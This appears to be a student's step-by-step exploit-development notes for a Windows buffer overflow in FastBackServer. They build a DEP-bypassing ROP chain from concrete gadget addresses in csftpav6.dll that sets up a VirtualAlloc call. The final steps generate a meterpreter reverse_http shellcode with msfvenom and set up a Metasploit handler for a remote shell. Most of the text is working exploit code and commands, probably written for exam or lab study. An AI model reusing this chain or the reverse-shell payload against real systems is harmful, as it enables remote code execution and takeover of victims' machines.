1. First use rp++ with (can be .exe or .dll): rp-win-x86.exe -f x.exe -r 5 > rop.txt

  2. Use msf-pattern_create -l 0x200 to generate the unique string. Put in PoC and check EIP to find out the string.
  3. Use msf-pattern_offset -q 41326a41 to find out the actual offset.
  4. (Optional) In WinDBG use dd esp to find out what is the first value. Then put in this value into msf-pattern_offset -q 6a41336a to ensure no padding required between return address and payload.
  5. In PoC, modify to add the following based on the pattern and change the combined string to offset+eip+rop.

    offset = b"A" * 276
    eip = b"B" * 4
    rop = b"C" * (0x400 - 276 - 4)
    
  6. Check for bad characters (from 0x00 to 0xff). All ROP address cannot have bad characters.
  7. Check for all modules to see which one doesnt have ASLR and bad characters: .load narly then !nmod.
  8. Check the base and end address using (eg here FastBackServer is the process name) lm m FastBackServer.
  9. Based on the module you selected in step 8 and 9, copy it to the rp++ folder and run rp-win-x86.exe -f csftpav6.dll -r 5 > rop.txt
  10. Place the skeleton for VirtualAlloc first in the PoC (paste it anywhere, but this must be immediately after the offset when actually running, AND REMEMBER TO MINUS LENGTH OF VA):

    va  = pack("<L", (0x45454545)) # dummy VirtualAlloc Address
    va += pack("<L", (0x46464646)) # Shellcode Return Address
    va += pack("<L", (0x47474747)) # # dummy Shellcode Address
    va += pack("<L", (0x48484848)) # dummy dwSize
    va += pack("<L", (0x49494949)) # # dummy flAllocationType
    va += pack("<L", (0x51515151)) # dummy flProtect
    ...
    offset = b"A" * (276 - len(va))
    ...
    ..offset+va+eip+rop..
    
  11. Run this one time and do dd esp - 1C to ensure before EIP(42424242) contains the dummy value. Is okay to have some overwritten.
  12. CRITICAL S1: Need a copy of ESP register to another register. Can use ropfilter -f rop.txt --best-last --safe-enable --reg2reg 'esp->*' and see which one is suitable. According to ropfilter the best will be at last, but need to avoid some that might clutter the memory such as leave, rcr with memory etc.
  13. Once you find the relevant one replace the EIP with:

    eip = pack("<L", (0x50501110)) # push esp ; push eax ; pop edi; pop esi ; ret
    
  14. (Optional) If you want to test can first set a breakpoint at that instruction using bp 0x50501110, g and p to single step execution. Can also use dd esp L1 or dd esp L2 etc. After the last step, dd esp L1 should return 43434343.
  15. CRITICAL S2: Obtain the address of VirtualAlloc. If you use IDA pro can straight go to Imports tab to see the address of VirtualAlloc. Else first use !dh CSFTPAV6 -f (where CSFTPAV6 is the module name) to get the Import Address Table Directory offset (this is the first column, example 4A000). Subsequently use dps CSFTPAV6+0x4A000 L100 then look for kernel32!VirtualAllocStub and get the address (first column, example 5054a220).
  16. CRITICAL S3: Find out where is the dummy address for our VirtualAlloc (45454545). To do this can do dd esp - 1C and if the first value is 1c then it is at negative offset of 1c from ESP (replacing 1c with other values if this is not, basically trial and error).
  17. Now since we have a copy of ESP address in ESI from S1, we can use that to operate. First we need to move ESI to EAX/ECX register. ropfilter -f rop.txt --best-last --safe-enable --reg2reg 'esi->eax' and ropfilter -f rop.txt --best-last --safe-enable --reg2reg 'esi->ecx' can help you to find.
  18. If the ROP you selected got a POP xxx, you need another dummy DWORD to make sure the stack aligns. We can then make the following changes for example:

    rop = pack("<L", (0x5050118e)) # mov eax,esi ; pop esi ; retn
    rop += pack("<L", (0x42424242)) # junk
    rop += b"C" * (0x400 - 276 - 4 - len(rop))
    
  19. (Optional) If you want to test can first set a breakpoint at that instruction using bp 0x50501110, then first g to resume, then pt to skip the first gadget. After the ret, when you run dd eax L1 it should be the dummy value for VirtualAlloc (45454545).
  20. From S3 we know the offset is -1C, however 0x1c is 0x0000001C which contains null (bad) bytes. Therefore we can add the negative number of this (ffffffe4) which we can find through ? -0x1c.
  21. So we need to pop ffffffe4 into ECX(can find through manual or ropfilter -f rop.txt --best-last --safe-enable --require-writes ECX), then add ECX to EAX. We can then update the ROP like this ropfilter --best-last --safe-enable -f rop.txt --arith 'dst=eax,src=ecx,op=add|sub':
    ...
    rop += pack("<L", (0x505115a3)) # pop ecx ; ret
    rop += pack("<L", (0xffffffe4)) # -0x1C
    rop += pack("<L", (0x5051579a)) # add eax, ecx ; ret
    rop += b"C" * (0x400 - 276 - 4 - len(rop))
    
  22. Now we have the value in EAX, we need to move it back to ESI for future use. Can use ropfilter -f rop.txt --best-last --safe-enable --reg2reg 'eax->esi' to find one. Update to the following:
    ...
    rop += pack("<L", (0x50537d5b)) # push eax ; pop esi ; ret
    rop += b"C" * (0x400 - 276 - 4 - len(rop))
    
  23. (Optional) If we put a bp 0x50537d5b and p until the end, dd esi L1 should be dummy VirtualAlloc address (45454545).
  24. From S2 we know the address is 5054a220, but in this case 20 is bad character. to solve this, we need to increase this address by 1, and later deduct 1 from the address.
  25. So we need to find a POP EAX to put the (VirtualAlloc+1 Address) into EAX, then pop -0x00000001(which is 0xFFFFFFFF) into ECX using POP ECX, and use ADD EAX, ECX to get the actual VirtualAlloc address. Then need to dereference to put it into EAX. Finally need to put this memory pointer into ESI. Use ropfilter --best-last --safe-enable -f rop.txt --memread 'base=eax,src=eax' and ropfilter --best-last --safe-enable -f rop.txt --memwrite 'base=esi,src=eax' Something like this (by the end if you do dds esi L1 you should get VirtualAlloc):

    ...
    rop += pack("<L", (0x5053a0f5)) # pop eax ; ret
    rop += pack("<L", (0x5054A221)) # VirtualAlloc IAT + 1
    rop += pack("<L", (0x505115a3)) # pop ecx ; ret
    rop += pack("<L", (0xffffffff)) # -1 into ecx
    rop += pack("<L", (0x5051579a)) # add eax, ecx ; ret
    rop += pack("<L", (0x5051f278)) # mov eax, dword [eax] ; ret
    rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret
    ...
    
  26. Since we used ROP gadget to call VirtualAlloc, we also need a valid return address (shellcode) into the stack and place it on the stack. ESI now contains the address on the stack for VirtualAlloc (4 bytes dword), and so we need to adjust ESI to 4 bytes later. Can use ADD ESI, 0x4 but if not available, can use INC ESI as well (which adds 1 byte) and therefore we need 4 of these (by the end dd esi L1 should be 46464646):
    ...
    rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
    rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
    rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
    rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
    ...
    
  27. We also need to copy the value of ESI into EAX AND KEEP VALUE OF ESI SO DONT FIND SOMETHING THAT WILL MESS UP ESI. But since in this case everything got POP ESI, we can copy the value to EAX first, pop a dummy value into ESI, then PUSH EAX to stack, and POP ESI to get ESI back. (Note: PUSH EAX will retain the value of EAX and will not erase it)

    ...
    rop += pack("<L", (0x5050118e)) # mov eax, esi ; pop esi ; ret
    rop += pack("<L", (0x42424242)) # junk
    rop += pack("<L", (0x5052f773)) # push eax ; pop esi ; ret
    ...
    
  28. We dont know the return address yet because we havent finish our shellcode, but can solve this by adding a fixed value. For eg to add 0x210 bytes (not 0x200 is because null bytes), we can instead minus negative 0xfffffdf0 (? -0x210 use this to avoid null bytes). ropfilter --best-last --safe-enable -f rop.txt --arith 'dst=eax,src=ecx,op=sub' So again pop this into ECX, and add EAX and ECX together (by the end dd eax L4 should be 43434343).
    ...
    rop += pack("<L", (0x505115a3)) # pop ecx ; ret
    rop += pack("<L", (0xfffffdf0)) # -0x210
    rop += pack("<L", (0x50533bf4)) # sub eax, ecx ; ret
    ...
    
  29. Now EAX contains the address to fake shellcode. Overwrite this value to the stack ropfilter --best-last --safe-enable -f rop.txt --memwrite 'base=esi,src=eax' (dd poi(esi) L4 should show 43434343 43434343 43434343).
    ...
    rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret
    ...
    
  30. ESI already contained the return address now, but since we moving on to the actual argument, we need to increase the ESI register by four bytes to align with next API skeleton call. In this case can use INC four times. (dd esi L1 will be 46464646)
    ...
    rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
    rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
    rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
    rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
    ...
    
  31. Next is patching the arguments. First argument is lpAddress which should be the same as shellcode address/return address. Previous step ESI contains the address on stack where return address was written, so ESI is only 4 bytes lower than lpAddress. We need to increase ESI by 4 bytes. Just now we use -0x210 to align EAX, now need use -0x20c since we increased ESI by 4 bytes(? -0x210+4, then straight use the 0xfffffdf4). Finally overwrite this into the ESI memory location. (bp 0x5051cbb6-> g 3 times then dd eax L4 should be 43434343 43434343 43434343..)
    ...
    rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
    rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
    rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
    rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
    rop += pack("<L", (0x5050118e)) # mov eax, esi ; pop esi ; ret
    rop += pack("<L", (0x42424242)) # junk
    rop += pack("<L", (0x5052f773)) # push eax ; pop esi ; ret
    rop += pack("<L", (0x505115a3)) # pop ecx ; ret
    rop += pack("<L", (0xfffffdf4)) # -0x20c
    rop += pack("<L", (0x50533bf4)) # sub eax, ecx ; ret
    rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret
    ...
    
  32. Second argument is dwSize and it needs to be 0x01 (0x00000001) and contain null bytes. Can use NEG (? 0 - 00000001 will get ffffffff).
    ...
    rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
    rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
    rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
    rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
    rop += pack("<L", (0x5053a0f5)) # pop eax ; ret 
    rop += pack("<L", (0xffffffff)) # -1 value that is negated
    rop += pack("<L", (0x50527840)) # neg eax ; ret
    rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret
    ...
    
  33. Next need to set flAllocationType to 1000, and NEG wont work because the complement is 0xfffff000 which also contains null bytes. Again start by increasing ESI by 4 bytes to the next argument. We can pop a large random value into EAX (for example 0x80808080), the complement value (? 1000 - 80808080 = 7f7f8f80) into ECX, then add them together ropfilter --best-last --safe-enable -f rop.txt --arith 'dst=eax,src=ecx,op=add'.
    ...
    rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
    rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
    rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
    rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
    rop += pack("<L", (0x5053a0f5)) # pop eax ; ret 
    rop += pack("<L", (0x80808080)) # first value to be added
    rop += pack("<L", (0x505115a3)) # pop ecx ; ret
    rop += pack("<L", (0x7f7f8f80)) # second value to be added
    rop += pack("<L", (0x5051579a)) # add eax, ecx ; ret
    rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret
    ...
    
  34. Final argument is flProtect and this needs to have 0x40. Again use the previous trick (? 40 - 80808080 = 7f7f7fc0). The last gadget is just a breakpoint which is not needed for final exploit. (To test this just g then when hit bp, use dds esi - 14 L6, should see the VirtualAllocStub, 2 placeholder return address, followed by the correct argument value.)
    ...
    rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
    rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
    rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
    rop += pack("<L", (0x50522fa7)) # inc esi ; add al, 0x2B ; ret
    rop += pack("<L", (0x5053a0f5)) # pop eax ; ret 
    rop += pack("<L", (0x80808080)) # first value to be added
    rop += pack("<L", (0x505115a3)) # pop ecx ; ret
    rop += pack("<L", (0x7f7f7fc0)) # second value to be added
    rop += pack("<L", (0x5051579a)) # add eax, ecx ; ret
    rop += pack("<L", (0x5051cbb6)) # mov dword [esi], eax ; ret
    rop += pack("<L", (0x5051e4db)) # int3 ; push eax ; call esi
    ...
    
  35. Now need to execute VirtualAlloc. Since ESI contains the stack address of last argument, we can use that and minus a small amount to go back to the start of VirtualAlloc. This can be done through trial and error that you need to substract 18 bytes (? 0 - 00000018) to reach VirtualAlloc. Final step you need to move this back into ESP. Note that the ROP gadget containing the breakpoint instruction from previous must be removed from the updated ROP chain. MANDATORY: To test we can use bp 0x5050118e ".if @eax = 0x40 {} .else {gc}", then g and p until the last gadget. Next p should show VirtualAllocStub.
    ...
    rop += pack("<L", (0x5050118e)) # mov eax,esi ; pop esi ; retn
    rop += pack("<L", (0x42424242)) # junk
    rop += pack("<L", (0x505115a3)) # pop ecx ; ret
    rop += pack("<L", (0xffffffe8)) # negative offset value
    rop += pack("<L", (0x5051579a)) # add eax, ecx ; ret
    rop += pack("<L", (0x5051571f)) # xchg eax, ebp ; ret
    rop += pack("<L", (0x50533cbf)) # mov esp, ebp ; pop ebp ; ret
    ...
    
  36. Final step is we need to align our shellcode with the return address. From the mandatory check earlier, p again to see the address of the first instruction and take note of the address. Then do a dd esp + 100 to see where is the first 43434343 occurence. Finally use the first to minus the second value ? 0d55e514 - 0d55e434. (IF THIS IS A NEGATIVE NUMBER GO BACK AND ADJUST YOUR RETURN ADDRESS AND FIRST ARGUMENT. FIRST RUN 0n128 if 128 is the negative number to get hex 80, then do ? 0x210+0x80+0x20, where 0x20 is to be safe. Then negative this, change the return address and first argument accordingly. )This will tell you how many padding you need (for example 224 or 000000e0). A dummy shellcode is put first to see if it works. Mandatory: To test use bp KERNEL32!VirtualAllocStub then g and pt and p you should see cc all after which is our dummy shellcode.
    ...
    padding = b"C" * 0xe0
    
    shellcode = b"\xcc" * (0x600 - 276 - 4 - len(rop) - len(padding))
    
    formatString = b"File: %s From: %d To: %d ChunkLoc: %d FileLoc: %d" % (offset+va+eip+rop+padding+shellcode,0,0,0,0)
    ...
    
  37. After bp KERNEL32!VirtualAllocStub and g and pt and the first p, do a dd eip L40 (adjust accordingly L40), then do a ? 0d5ae604 - eip to see how much actual space you have. Make sure it is more than 550 bytes to be safe. If not enough just increase the shellcode size from previously to bigger number.
  38. Use msfvenom and supply bad characters msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.119.120 LPORT=8080 -b "\x00\x09\x0a\x0b\x0c\x0d\x20" -f python -v shellcode.
  39. Finally insert the shellcode into POC, then
    use multi/handler
    set payload windows/meterpreter/reverse_http
    set lhost 192.168.119.120
    set lport 8080
    exploit

  40. Will get shell.